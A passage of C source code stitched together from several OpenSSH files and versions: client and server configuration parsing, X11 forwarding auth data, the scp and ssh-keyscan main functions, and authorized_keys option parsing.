sscanf(line, "%*s %511s %511s", proto, data) == 2) got_data = 1; if (f) pclose(f); } /* * If we didn't get authentication data, just make up some * data. The forwarding code will check the validity of the * response anyway, and substitute this data. The X11 * server, however, will ignore this fake data and use * whatever authentication mechanisms it was using otherwise * for the local connection. */ if (!got_data) { u_int32_t rand = 0; log("Warning: No xauth data; using fake authentication data for X11 forwarding."); strlcpy(proto, "MIT-MAGIC-COOKIE-1", sizeof proto); for (i = 0; i < 16; i++) { if (i % 4 == 0) rand = arc4random(); snprintf(data + 2 * i, sizeof data - 2 * i, "%02x", rand & 0xff); rand >>= 8; } }
int process_config_line(Options *options, const char *host, char *line, const char *filename, int linenum, int *activep) { char buf[256], *s, **charptr, *endofnumber, *keyword, *arg; int opcode, *intptr, value; size_t len; u_short fwd_port, fwd_host_port; char sfwd_host_port[6]; /* Strip trailing whitespace */ for(len = strlen(line) - 1; len > 0; len--) { if (strchr(WHITESPACE, line[len]) == NULL) break; line[len] = '\0'; } s = line; /* Get the keyword. (Each line is supposed to begin with a keyword). */ keyword = strdelim(&s); /* Ignore leading whitespace. */ if (*keyword == '\0') keyword = strdelim(&s); if (keyword == NULL || !*keyword || *keyword == '\n' || *keyword == '#') return 0; opcode = parse_token(keyword, filename, linenum); switch (opcode) { case oBadOption: /* don't panic, but count bad options */ return -1; /* NOTREACHED */ case oConnectTimeout: intptr = &options->connection_timeout; parse_time: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%s line %d: missing time value.", filename, linenum); if ((value = convtime(arg)) == -1) fatal("%s line %d: invalid time value.", filename, linenum); if (*intptr == -1) *intptr = value; break; case oForwardAgent: intptr = &options->forward_agent; parse_flag: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing yes/no argument.", filename, linenum); value = 0; /* To avoid compiler warning... */ if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) value = 1; else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) value = 0; else fatal("%.200s line %d: Bad yes/no argument.", filename, linenum); if (*activep && *intptr == -1) *intptr = value; break; case oForwardX11: intptr = &options->forward_x11; goto parse_flag; case oForwardX11Trusted: intptr = &options->forward_x11_trusted; goto parse_flag; case oGatewayPorts: intptr = &options->gateway_ports; goto parse_flag; case oUsePrivilegedPort: intptr = &options->use_privileged_port; goto parse_flag; case oPasswordAuthentication: intptr = &options->password_authentication; goto parse_flag; case oKbdInteractiveAuthentication: intptr = &options->kbd_interactive_authentication; goto parse_flag; case oKbdInteractiveDevices: charptr = &options->kbd_interactive_devices; goto parse_string; case oPubkeyAuthentication: intptr = &options->pubkey_authentication; goto parse_flag; case oRSAAuthentication: intptr = &options->rsa_authentication; goto parse_flag; case oRhostsRSAAuthentication: intptr = &options->rhosts_rsa_authentication; goto parse_flag; case oHostbasedAuthentication: intptr = &options->hostbased_authentication; goto parse_flag; case oChallengeResponseAuthentication: intptr = &options->challenge_response_authentication; goto parse_flag; case oGssAuthentication: intptr = &options->gss_authentication; goto parse_flag; case oGssDelegateCreds: intptr = &options->gss_deleg_creds; goto parse_flag; case oBatchMode: intptr = &options->batch_mode; goto parse_flag; case oCheckHostIP: intptr = &options->check_host_ip; goto parse_flag; case oVerifyHostKeyDNS: intptr = &options->verify_host_key_dns; goto parse_yesnoask; case oStrictHostKeyChecking: intptr = &options->strict_host_key_checking; parse_yesnoask: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing yes/no/ask argument.", filename, linenum); value = 0; /* To avoid compiler warning... */ if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) value = 1; else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) value = 0; else if (strcmp(arg, "ask") == 0) value = 2; else fatal("%.200s line %d: Bad yes/no/ask argument.", filename, linenum); if (*activep && *intptr == -1) *intptr = value; break; case oCompression: intptr = &options->compression; goto parse_flag; case oTCPKeepAlive: intptr = &options->tcp_keep_alive; goto parse_flag; case oNoHostAuthenticationForLocalhost: intptr = &options->no_host_authentication_for_localhost; goto parse_flag; case oNumberOfPasswordPrompts: intptr = &options->number_of_password_prompts; goto parse_int; case oCompressionLevel: intptr = &options->compression_level; goto parse_int; case oRekeyLimit: intptr = &options->rekey_limit; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (arg[0] < '0' || arg[0] > '9') fatal("%.200s line %d: Bad number.", filename, linenum); value = strtol(arg, &endofnumber, 10); if (arg == endofnumber) fatal("%.200s line %d: Bad number.", filename, linenum); switch (toupper(*endofnumber)) { case 'K': value *= 1<<10; break; case 'M': value *= 1<<20; break; case 'G': value *= 1<<30; break; } if (*activep && *intptr == -1) *intptr = value; break; case oIdentityFile: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (*activep) { intptr = &options->num_identity_files; if (*intptr >= SSH_MAX_IDENTITY_FILES) fatal("%.200s line %d: Too many identity files specified (max %d).", filename, linenum, SSH_MAX_IDENTITY_FILES); charptr = &options->identity_files[*intptr]; *charptr = xstrdup(arg); *intptr = *intptr + 1; } break; case oXAuthLocation: charptr=&options->xauth_location; goto parse_string; case oUser: charptr = &options->user; parse_string: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (*activep && *charptr == NULL) *charptr = xstrdup(arg); break; case oGlobalKnownHostsFile: charptr = &options->system_hostfile; goto parse_string; case oUserKnownHostsFile: charptr = &options->user_hostfile; goto parse_string; case oGlobalKnownHostsFile2: charptr = &options->system_hostfile2; goto parse_string; case oUserKnownHostsFile2: charptr = &options->user_hostfile2; goto parse_string; case oHostName: charptr = &options->hostname; goto parse_string; case oHostKeyAlias: charptr = &options->host_key_alias; goto parse_string; case oPreferredAuthentications: charptr = &options->preferred_authentications; goto parse_string; case oBindAddress: charptr = &options->bind_address; goto parse_string; case oSmartcardDevice: charptr = &options->smartcard_device; goto parse_string; case oProxyCommand: if (s == NULL) fatal("%.200s line %d: Missing argument.", filename, linenum); charptr = &options->proxy_command; len = strspn(s, WHITESPACE "="); if (*activep && *charptr == NULL) *charptr = xstrdup(s + len); return 0; case oPort: intptr = &options->port; parse_int: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (arg[0] < '0' || arg[0] > '9') fatal("%.200s line %d: Bad number.", filename, linenum); /* Octal, decimal, or hex format? */ value = strtol(arg, &endofnumber, 0); if (arg == endofnumber) fatal("%.200s line %d: Bad number.", filename, linenum); if (*activep && *intptr == -1) *intptr = value; break; case oConnectionAttempts: intptr = &options->connection_attempts; goto parse_int; case oCipher: intptr = &options->cipher; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); value = cipher_number(arg); if (value == -1) fatal("%.200s line %d: Bad cipher '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && *intptr == -1) *intptr = value; break; case oCiphers: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (!ciphers_valid(arg)) fatal("%.200s line %d: Bad SSH2 cipher spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && options->ciphers == NULL) options->ciphers = xstrdup(arg); break; case oMacs: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (!mac_valid(arg)) fatal("%.200s line %d: Bad SSH2 Mac spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && options->macs == NULL) options->macs = xstrdup(arg); break; case oHostKeyAlgorithms: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (!key_names_valid2(arg)) fatal("%.200s line %d: Bad protocol 2 host key algorithms '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && options->hostkeyalgorithms == NULL) options->hostkeyalgorithms = xstrdup(arg); break; case oProtocol: intptr = &options->protocol; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); value = proto_spec(arg); if (value == SSH_PROTO_UNKNOWN) fatal("%.200s line %d: Bad protocol spec '%s'.", filename, linenum, arg ? arg : "<NONE>"); if (*activep && *intptr == SSH_PROTO_UNKNOWN) *intptr = value; break; case oLogLevel: intptr = (int *) &options->log_level; arg = strdelim(&s); value = log_level_number(arg); if (value == SYSLOG_LEVEL_NOT_SET) fatal("%.200s line %d: unsupported log level '%s'", filename, linenum, arg ? arg : "<NONE>"); if (*activep && (LogLevel) *intptr == SYSLOG_LEVEL_NOT_SET) *intptr = (LogLevel) value; break; case oLocalForward: case oRemoteForward: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing port argument.", filename, linenum); if ((fwd_port = a2port(arg)) == 0) fatal("%.200s line %d: Bad listen port.", filename, linenum); arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing second argument.", filename, linenum); if (sscanf(arg, "%255[^:]:%5[0-9]", buf, sfwd_host_port) != 2 && sscanf(arg, "%255[^/]/%5[0-9]", buf, sfwd_host_port) != 2) fatal("%.200s line %d: Bad forwarding specification.", filename, linenum); if ((fwd_host_port = a2port(sfwd_host_port)) == 0) fatal("%.200s line %d: Bad forwarding port.", filename, linenum); if (*activep) { if (opcode == oLocalForward) add_local_forward(options, fwd_port, buf, fwd_host_port); else if (opcode == oRemoteForward) add_remote_forward(options, fwd_port, buf, fwd_host_port); } break; case oDynamicForward: arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing port argument.", filename, linenum); fwd_port = a2port(arg); if (fwd_port == 0) fatal("%.200s line %d: Badly formatted port number.", filename, linenum); if (*activep) add_local_forward(options, fwd_port, "socks", 0); break; case oClearAllForwardings: intptr = &options->clear_forwardings; goto parse_flag; case oHost: *activep = 0; while ((arg = strdelim(&s)) != NULL && *arg != '\0') if (match_pattern(host, arg)) { debug("Applying options for %.100s", arg); *activep = 1; break; } /* Avoid garbage check below, as strdelim is done. */ return 0; case oEscapeChar: intptr = &options->escape_char; arg = strdelim(&s); if (!arg || *arg == '\0') fatal("%.200s line %d: Missing argument.", filename, linenum); if (arg[0] == '^' && arg[2] == 0 && (u_char) arg[1] >= 64 && (u_char) arg[1] < 128) value = (u_char) arg[1] & 31; else if (strlen(arg) == 1) value = (u_char) arg[0]; else if (strcmp(arg, "none") == 0) value = SSH_ESCAPECHAR_NONE; else { fatal("%.200s line %d: Bad escape character.", filename, linenum); /* NOTREACHED */ value = 0; /* Avoid compiler warning. */ } if (*activep && *intptr == -1) *intptr = value; break; case oAddressFamily: arg = strdelim(&s); intptr = &options->address_family; if (strcasecmp(arg, "inet") == 0) value = AF_INET; else if (strcasecmp(arg, "inet6") == 0) value = AF_INET6; else if (strcasecmp(arg, "any") == 0) value = AF_UNSPEC; else fatal("Unsupported AddressFamily \"%s\"", arg); if (*activep && *intptr == -1) *intptr = value; break; case oEnableSSHKeysign: intptr = &options->enable_ssh_keysign; goto parse_flag; case oIdentitiesOnly: intptr = &options->identities_only; goto parse_flag; case oServerAliveInterval: intptr = &options->server_alive_interval; goto parse_time; case oServerAliveCountMax: intptr = &options->server_alive_count_max; goto parse_int; case oDeprecated: debug("%s line %d: Deprecated option \"%s\"", filename, linenum, keyword); return 0; case oUnsupported: error("%s line %d: Unsupported option \"%s\"", filename, linenum, keyword); return 0; default: fatal("process_config_line: Unimplemented opcode %d", opcode); } /* Check that there is no garbage at end of line. */ if ((arg = strdelim(&s)) != NULL && *arg != '\0') { fatal("%.200s line %d: garbage at end of line; \"%.200s\".", filename, linenum, arg); } return 0; }
int main(int argc, char **argv) { int ch, fflag, tflag, status, n; char **newargv; const char *errstr; extern char *optarg; extern int optind; /* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */ sanitise_stdfd(); setlocale(LC_CTYPE, ""); /* Copy argv, because we modify it */ newargv = xcalloc(MAXIMUM(argc + 1, 1), sizeof(*newargv)); for (n = 0; n < argc; n++) newargv[n] = xstrdup(argv[n]); argv = newargv; memset(&args, '\0', sizeof(args)); memset(&remote_remote_args, '\0', sizeof(remote_remote_args)); args.list = remote_remote_args.list = NULL; addargs(&args, "%s", ssh_program); addargs(&args, "-x"); addargs(&args, "-oForwardAgent=no"); addargs(&args, "-oPermitLocalCommand=no"); addargs(&args, "-oClearAllForwardings=yes"); addargs(&args, "-oRemoteCommand=none"); addargs(&args, "-oRequestTTY=no"); fflag = tflag = 0; while ((ch = getopt(argc, argv, "dfl:prtvBCc:i:P:q12346S:o:F:")) != -1) switch (ch) { /* User-visible flags. */ case '1': fatal("SSH protocol v.1 is no longer supported"); break; case '2': /* Ignored */ break; case '4': case '6': case 'C': addargs(&args, "-%c", ch); addargs(&remote_remote_args, "-%c", ch); break; case '3': throughlocal = 1; break; case 'o': case 'c': case 'i': case 'F': addargs(&remote_remote_args, "-%c", ch); addargs(&remote_remote_args, "%s", optarg); addargs(&args, "-%c", ch); addargs(&args, "%s", optarg); break; case 'P': sshport = a2port(optarg); if (sshport <= 0) fatal("bad port \"%s\"\n", optarg); break; case 'B': addargs(&remote_remote_args, "-oBatchmode=yes"); addargs(&args, "-oBatchmode=yes"); break; case 'l': limit_kbps = strtonum(optarg, 1, 100 * 1024 * 1024, &errstr); if (errstr != NULL) usage(); limit_kbps *= 1024; /* kbps */ bandwidth_limit_init(&bwlimit, limit_kbps, COPY_BUFLEN); break; case 'p': pflag = 1; break; case 'r': iamrecursive = 1; break; case 'S': ssh_program = xstrdup(optarg); break; case 'v': addargs(&args, "-v"); addargs(&remote_remote_args, "-v"); verbose_mode = 1; break; case 'q': addargs(&args, "-q"); addargs(&remote_remote_args, "-q"); showprogress = 0; break; /* Server options. */ case 'd': targetshouldbedirectory = 1; break; case 'f': /* "from" */ iamremote = 1; fflag = 1; break; case 't': /* "to" */ iamremote = 1; tflag = 1; break; default: usage(); } argc -= optind; argv += optind; if ((pwd = getpwuid(userid = getuid())) == NULL) fatal("unknown user %u", (u_int) userid); if (!isatty(STDOUT_FILENO)) showprogress = 0; if (pflag) { /* Cannot pledge: -p allows setuid/setgid files... */ } else { #ifdef __OpenBSD__ if (pledge("stdio rpath wpath cpath fattr tty proc exec", NULL) == -1) { perror("pledge"); exit(1); } #endif } remin = STDIN_FILENO; remout = STDOUT_FILENO; if (fflag) { /* Follow "protocol", send data. */ (void) response(); source(argc, argv); exit(errs != 0); } if (tflag) { /* Receive data. */ sink(argc, argv); exit(errs != 0); } if (argc < 2) usage(); if (argc > 2) targetshouldbedirectory = 1; remin = remout = -1; do_cmd_pid = -1; /* Command to be executed on remote system using "ssh". */ (void) snprintf(cmd, sizeof cmd, "scp%s%s%s%s", verbose_mode ? " -v" : "", iamrecursive ? " -r" : "", pflag ? " -p" : "", targetshouldbedirectory ? " -d" : ""); (void) signal(SIGPIPE, lostconn); if (colon(argv[argc - 1])) /* Dest is remote host. */ toremote(argc, argv); else { if (targetshouldbedirectory) verifydir(argv[argc - 1]); tolocal(argc, argv); /* Dest is local host. */ } /* * Finally check the exit status of the ssh process, if one was forked * and no error has occurred yet */ if (do_cmd_pid != -1 && errs == 0) { if (remin != -1) (void) close(remin); if (remout != -1) (void) close(remout); if (waitpid(do_cmd_pid, &status, 0) == -1) errs = 1; else { if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errs = 1; } } exit(errs != 0); }
int main(int argc, char **argv) { int debug_flag = 0, log_level = SYSLOG_LEVEL_INFO; int opt, fopt_count = 0; char *tname; extern int optind; extern char *optarg; TAILQ_INIT(&tq); /* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */ sanitise_stdfd(); if (argc <= 1) usage(); while ((opt = getopt(argc, argv, "Hv46p:T:t:f:")) != -1) { switch (opt) { case 'H': hash_hosts = 1; break; case 'p': ssh_port = a2port(optarg); if (ssh_port <= 0) { fprintf(stderr, "Bad port '%s'\n", optarg); exit(1); } break; case 'T': timeout = convtime(optarg); if (timeout == -1 || timeout == 0) { fprintf(stderr, "Bad timeout '%s'\n", optarg); usage(); } break; case 'v': if (!debug_flag) { debug_flag = 1; log_level = SYSLOG_LEVEL_DEBUG1; } else if (log_level < SYSLOG_LEVEL_DEBUG3) log_level++; else fatal("Too high debugging level."); break; case 'f': if (strcmp(optarg, "-") == 0) optarg = NULL; argv[fopt_count++] = optarg; break; case 't': get_keytypes = 0; tname = strtok(optarg, ","); while (tname) { int type = key_type_from_name(tname); switch (type) { case KEY_RSA1: get_keytypes |= KT_RSA1; break; case KEY_DSA: get_keytypes |= KT_DSA; break; case KEY_RSA: get_keytypes |= KT_RSA; break; case KEY_UNSPEC: fatal("unknown key type %s", tname); } tname = strtok(NULL, ","); } break; case '4': IPv4or6 = AF_INET; break; case '6': IPv4or6 = AF_INET6; break; case '?': default: usage(); } } if (optind == argc && !fopt_count) usage(); log_init("ssh-keyscan", log_level, SYSLOG_FACILITY_USER, 1); maxfd = fdlim_get(1); if (maxfd < 0) fatal("%s: fdlim_get: bad value", __progname); if (maxfd > MAXMAXFD) maxfd = MAXMAXFD; if (MAXCON <= 0) fatal("%s: not enough file descriptors", __progname); if (maxfd > fdlim_get(0)) fdlim_set(maxfd); fdcon = xcalloc(maxfd, sizeof(con)); read_wait_nfdset = howmany(maxfd, NFDBITS); read_wait = xcalloc(read_wait_nfdset, sizeof(fd_mask)); if (fopt_count) { Linebuf *lb; char *line; int j; for (j = 0; j < fopt_count; j++) { lb = Linebuf_alloc(argv[j], error); if (!lb) continue; while ((line = Linebuf_getline(lb)) != NULL) do_host(line); Linebuf_free(lb); } } while (optind < argc) do_host(argv[optind++]); while (ncon > 0) conloop(); return (0); }
struct sshauthopt * sshauthopt_parse(const char *opts, const char **errstrp) { char **oarray, *opt, *cp, *tmp, *host; int r; struct sshauthopt *ret = NULL; const char *errstr = "unknown error"; uint64_t valid_before; if (errstrp != NULL) *errstrp = NULL; if ((ret = sshauthopt_new_with_keys_defaults()) == NULL) goto alloc_fail; if (opts == NULL) return ret; while (*opts && *opts != ' ' && *opts != '\t') { /* flag options */ if ((r = opt_flag("restrict", 0, &opts)) != -1) { ret->restricted = 1; ret->permit_port_forwarding_flag = 0; ret->permit_agent_forwarding_flag = 0; ret->permit_x11_forwarding_flag = 0; ret->permit_pty_flag = 0; ret->permit_user_rc = 0; } else if ((r = opt_flag("cert-authority", 0, &opts)) != -1) { ret->cert_authority = r; } else if ((r = opt_flag("port-forwarding", 1, &opts)) != -1) { ret->permit_port_forwarding_flag = r == 1; } else if ((r = opt_flag("agent-forwarding", 1, &opts)) != -1) { ret->permit_agent_forwarding_flag = r == 1; } else if ((r = opt_flag("x11-forwarding", 1, &opts)) != -1) { ret->permit_x11_forwarding_flag = r == 1; } else if ((r = opt_flag("pty", 1, &opts)) != -1) { ret->permit_pty_flag = r == 1; } else if ((r = opt_flag("user-rc", 1, &opts)) != -1) { ret->permit_user_rc = r == 1; } else if (opt_match(&opts, "command")) { if (ret->force_command != NULL) { errstr = "multiple \"command\" clauses"; goto fail; } ret->force_command = opt_dequote(&opts, &errstr); if (ret->force_command == NULL) goto fail; } else if (opt_match(&opts, "principals")) { if (ret->cert_principals != NULL) { errstr = "multiple \"principals\" clauses"; goto fail; } ret->cert_principals = opt_dequote(&opts, &errstr); if (ret->cert_principals == NULL) goto fail; } else if (opt_match(&opts, "from")) { if (ret->required_from_host_keys != NULL) { errstr = "multiple \"from\" clauses"; goto fail; } ret->required_from_host_keys = opt_dequote(&opts, &errstr); if (ret->required_from_host_keys == NULL) goto fail; } else if (opt_match(&opts, "expiry-time")) { if ((opt = opt_dequote(&opts, &errstr)) == NULL) goto fail; if (parse_absolute_time(opt, &valid_before) != 0 || valid_before == 0) { free(opt); errstr = "invalid expires time"; goto fail; } free(opt); if (ret->valid_before == 0 || valid_before < ret->valid_before) ret->valid_before = valid_before; } else if (opt_match(&opts, "environment")) { if (ret->nenv > INT_MAX) { errstr = "too many environment strings"; goto fail; } if ((opt = opt_dequote(&opts, &errstr)) == NULL) goto fail; /* env name must be alphanumeric and followed by '=' */ if ((tmp = strchr(opt, '=')) == NULL) { free(opt); errstr = "invalid environment string"; goto fail; } for (cp = opt; cp < tmp; cp++) { if (!isalnum((u_char)*cp)) { free(opt); errstr = "invalid environment string"; goto fail; } } /* Append it. */ oarray = ret->env; if ((ret->env = recallocarray(ret->env, ret->nenv, ret->nenv + 1, sizeof(*ret->env))) == NULL) { free(opt); ret->env = oarray; /* put it back for cleanup */ goto alloc_fail; } ret->env[ret->nenv++] = opt; } else if (opt_match(&opts, "permitopen")) { if (ret->npermitopen > INT_MAX) { errstr = "too many permitopens"; goto fail; } if ((opt = opt_dequote(&opts, &errstr)) == NULL) goto fail; if ((tmp = strdup(opt)) == NULL) { free(opt); goto alloc_fail; } cp = tmp; /* validate syntax of permitopen before recording it. */ host = hpdelim(&cp); if (host == NULL || strlen(host) >= NI_MAXHOST) { free(tmp); free(opt); errstr = "invalid permitopen hostname"; goto fail; } /* * don't want to use permitopen_port to avoid * dependency on channels.[ch] here. */ if (cp == NULL || (strcmp(cp, "*") != 0 && a2port(cp) <= 0)) { free(tmp); free(opt); errstr = "invalid permitopen port"; goto fail; } /* XXX - add streamlocal support */ free(tmp); /* Record it */ oarray = ret->permitopen; if ((ret->permitopen = recallocarray(ret->permitopen, ret->npermitopen, ret->npermitopen + 1, sizeof(*ret->permitopen))) == NULL) { free(opt); ret->permitopen = oarray; goto alloc_fail; } ret->permitopen[ret->npermitopen++] = opt; } else if (opt_match(&opts, "tunnel")) { if ((opt = opt_dequote(&opts, &errstr)) == NULL) goto fail; ret->force_tun_device = a2tun(opt, NULL); free(opt); if (ret->force_tun_device == SSH_TUNID_ERR) { errstr = "invalid tun device"; goto fail; } } /* * Skip the comma, and move to the next option * (or break out if there are no more). */ if (*opts == '\0' || *opts == ' ' || *opts == '\t') break; /* End of options. */ /* Anything other than a comma is an unknown option */ if (*opts != ',') { errstr = "unknown key option"; goto fail; } opts++; if (*opts == '\0') { errstr = "unexpected end-of-options"; goto fail; } } /* success */ if (errstrp != NULL) *errstrp = NULL; return ret; alloc_fail: errstr = "memory allocation failed"; fail: sshauthopt_free(ret); if (errstrp != NULL) *errstrp = errstr; return NULL; }
int process_server_config_line(ServerOptions *options, char *line, const char *filename, int linenum) { char *cp, **charptr, *arg, *p; int *intptr, value, i, n; ServerOpCodes opcode; cp = line; arg = strdelim(&cp); /* Ignore leading whitespace */ if (*arg == '\0') arg = strdelim(&cp); if (!arg || !*arg || *arg == '#') return 0; intptr = NULL; charptr = NULL; opcode = parse_token(arg, filename, linenum); switch (opcode) { /* Portable-specific options */ case sPAMAuthenticationViaKbdInt: intptr = &options->pam_authentication_via_kbd_int; goto parse_flag; /* Standard Options */ case sBadOption: return -1; case sPort: /* ignore ports from configfile if cmdline specifies ports */ if (options->ports_from_cmdline) return 0; if (options->listen_addrs != NULL) fatal("%s line %d: ports must be specified before " "ListenAddress.", filename, linenum); if (options->num_ports >= MAX_PORTS) fatal("%s line %d: too many ports.", filename, linenum); arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing port number.", filename, linenum); options->ports[options->num_ports++] = a2port(arg); if (options->ports[options->num_ports-1] == 0) fatal("%s line %d: Badly formatted port number.", filename, linenum); break; case sServerKeyBits: intptr = &options->server_key_bits; parse_int: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing integer value.", filename, linenum); value = atoi(arg); if (*intptr == -1) *intptr = value; break; case sLoginGraceTime: intptr = &options->login_grace_time; parse_time: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing time value.", filename, linenum); if ((value = convtime(arg)) == -1) fatal("%s line %d: invalid time value.", filename, linenum); if (*intptr == -1) *intptr = value; break; case sKeyRegenerationTime: intptr = &options->key_regeneration_time; goto parse_time; case sListenAddress: arg = strdelim(&cp); if (!arg || *arg == '\0' || strncmp(arg, "[]", 2) == 0) fatal("%s line %d: missing inet addr.", filename, linenum); if (*arg == '[') { if ((p = strchr(arg, ']')) == NULL) fatal("%s line %d: bad ipv6 inet addr usage.", filename, linenum); arg++; memmove(p, p+1, strlen(p+1)+1); } else if (((p = strchr(arg, ':')) == NULL) || (strchr(p+1, ':') != NULL)) { add_listen_addr(options, arg, 0); break; } if (*p == ':') { u_short port; p++; if (*p == '\0') fatal("%s line %d: bad inet addr:port usage.", filename, linenum); else { *(p-1) = '\0'; if ((port = a2port(p)) == 0) fatal("%s line %d: bad port number.", filename, linenum); add_listen_addr(options, arg, port); } } else if (*p == '\0') add_listen_addr(options, arg, 0); else fatal("%s line %d: bad inet addr usage.", filename, linenum); break; case sHostKeyFile: intptr = &options->num_host_key_files; if (*intptr >= MAX_HOSTKEYS) fatal("%s line %d: too many host keys specified (max %d).", filename, linenum, MAX_HOSTKEYS); charptr = &options->host_key_files[*intptr]; parse_filename: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing file name.", filename, linenum); if (*charptr == NULL) { *charptr = tilde_expand_filename(arg, getuid()); /* increase optional counter */ if (intptr != NULL) *intptr = *intptr + 1; } break; case sPidFile: charptr = &options->pid_file; goto parse_filename; case sPermitRootLogin: intptr = &options->permit_root_login; arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing yes/" "without-password/forced-commands-only/no " "argument.", filename, linenum); value = 0; /* silence compiler */ if (strcmp(arg, "without-password") == 0) value = PERMIT_NO_PASSWD; else if (strcmp(arg, "forced-commands-only") == 0) value = PERMIT_FORCED_ONLY; else if (strcmp(arg, "yes") == 0) value = PERMIT_YES; else if (strcmp(arg, "no") == 0) value = PERMIT_NO; else fatal("%s line %d: Bad yes/" "without-password/forced-commands-only/no " "argument: %s", filename, linenum, arg); if (*intptr == -1) *intptr = value; break; case sIgnoreRhosts: intptr = &options->ignore_rhosts; parse_flag: arg = strdelim(&cp); if (!arg || *arg == '\0') fatal("%s line %d: missing yes/no argument.", filename, linenum); value = 0; /* silence compiler */ if (strcmp(arg, "yes") == 0) value = 1; else if (strcmp(arg, "no") == 0) value = 0; else fatal("%s line %d: Bad yes/no argument: %s", filename, linenum, arg); if (*intptr == -1) *intptr = value; break; case sIgnoreUserKnownHosts: intptr = &options->ignore_user_known_hosts; goto parse_flag; case sRhostsAuthentication: intptr = &options->rhosts_authentication; goto parse_flag; case sRhostsRSAAuthentication: intptr = &options->rhosts_rsa_authentication; goto parse_flag; case sHostbasedAuthentication: intptr = &options->hostbased_authentication; goto parse_flag; case sHostbasedUsesNameFromPacketOnly: intptr = &options->hostbased_uses_name_from_packet_only; goto parse_flag; case sRSAAuthentication: intptr = &options->rsa_authentication; goto parse_flag; case sPubkeyAuthentication: intptr = &options->pubkey_authentication; goto parse_flag; #if defined(KRB4) || defined(KRB5) case sKerberosAuthentication: intptr = &options->kerberos_authentication; goto parse_flag; case sKerberosOrLocalPasswd: intptr = &options->kerberos_or_local_passwd; goto parse_flag; case sKerberosTicketCleanup: intptr = &options->kerberos_ticket_cleanup; goto parse_flag; #endif #if defined(AFS) || defined(KRB5) case sKerberosTgtPassing: intptr = &options->kerberos_tgt_passing; goto parse_flag; #endif #ifdef AFS case sAFSTokenPassing: intptr = &options->afs_token_passing; goto parse_flag; #endif case sPasswordAuthentication: intptr = &options->password_authentication; goto parse_flag; case sKbdInteractiveAuthentication: intptr = &options->kbd_interactive_authentication; goto parse_flag; case sChallengeResponseAuthentication: intptr = &options->challenge_response_authentication; goto parse_flag; case sPrintMotd: intptr = &options->print_motd; goto parse_flag; case sPrintLastLog: intptr = &options->print_lastlog; goto parse_flag; case sX11Forwarding: intptr = &options->x11_forwarding; goto parse_flag; case sX11DisplayOffset: intptr = &options->x11_display_offset; goto parse_int; case sX11UseLocalhost: intptr = &options->x11_use_localhost; goto parse_flag; case sXAuthLocation: charptr = &options->xauth_location; goto parse_filename; case sStrictModes: intptr = &options->strict_modes; goto parse_flag; case sKeepAlives: intptr = &options->keepalives; goto parse_flag; case sEmptyPasswd: intptr = &options->permit_empty_passwd; goto parse_flag; case sPermitUserEnvironment: intptr = &options->permit_user_env; goto parse_flag; case sUseLogin: intptr = &options->use_login; goto parse_flag; case sCompression: intptr = &options->compression; goto parse_flag; case sGatewayPorts: intptr = &options->gateway_ports; goto parse_flag; case sVerifyReverseMapping: intptr = &options->verify_reverse_mapping; goto parse_flag; case sLogFacility: intptr = (int *) &options->log_facility; arg = strdelim(&cp); value = log_facility_number(arg); if (value == SYSLOG_FACILITY_NOT_SET) fatal("%.200s line %d: unsupported log facility '%s'", filename, linenum, arg ? arg : "<NONE>"); if (*intptr == -1) *intptr = (SyslogFacility) value; break; case sLogLevel: intptr = (int *) &options->log_level; arg = strdelim(&cp); value = log_level_number(arg); if (value == SYSLOG_LEVEL_NOT_SET) fatal("%.200s line %d: unsupported log level '%s'", filename, linenum, arg ? arg : "<NONE>"); if (*intptr == -1) *intptr = (LogLevel) value; break; case sAllowTcpForwarding: intptr = &options->allow_tcp_forwarding; goto parse_flag; case sUsePrivilegeSeparation: intptr = &use_privsep; goto parse_flag; case sAllowUsers: while ((arg = strdelim(&cp)) && *arg != '\0') { if (options->num_allow_users >= MAX_ALLOW_USERS) fatal("%s line %d: too many allow users.", filename, linenum); options->allow_users[options->num_allow_users++] = xstrdup(arg); } break; case sDenyUsers: while ((arg = strdelim(&cp)) && *arg != '\0') { if (options->num_deny_users >= MAX_DENY_USERS) fatal( "%s line %d: too many deny users.", filename, linenum); options->deny_users[options->num_deny_users++] = xstrdup(arg); } break; case sAllowGroups: while ((arg = strdelim(&cp)) && *arg != '\0') { if (options->num_allow_groups >= MAX_ALLOW_GROUPS) fatal("%s line 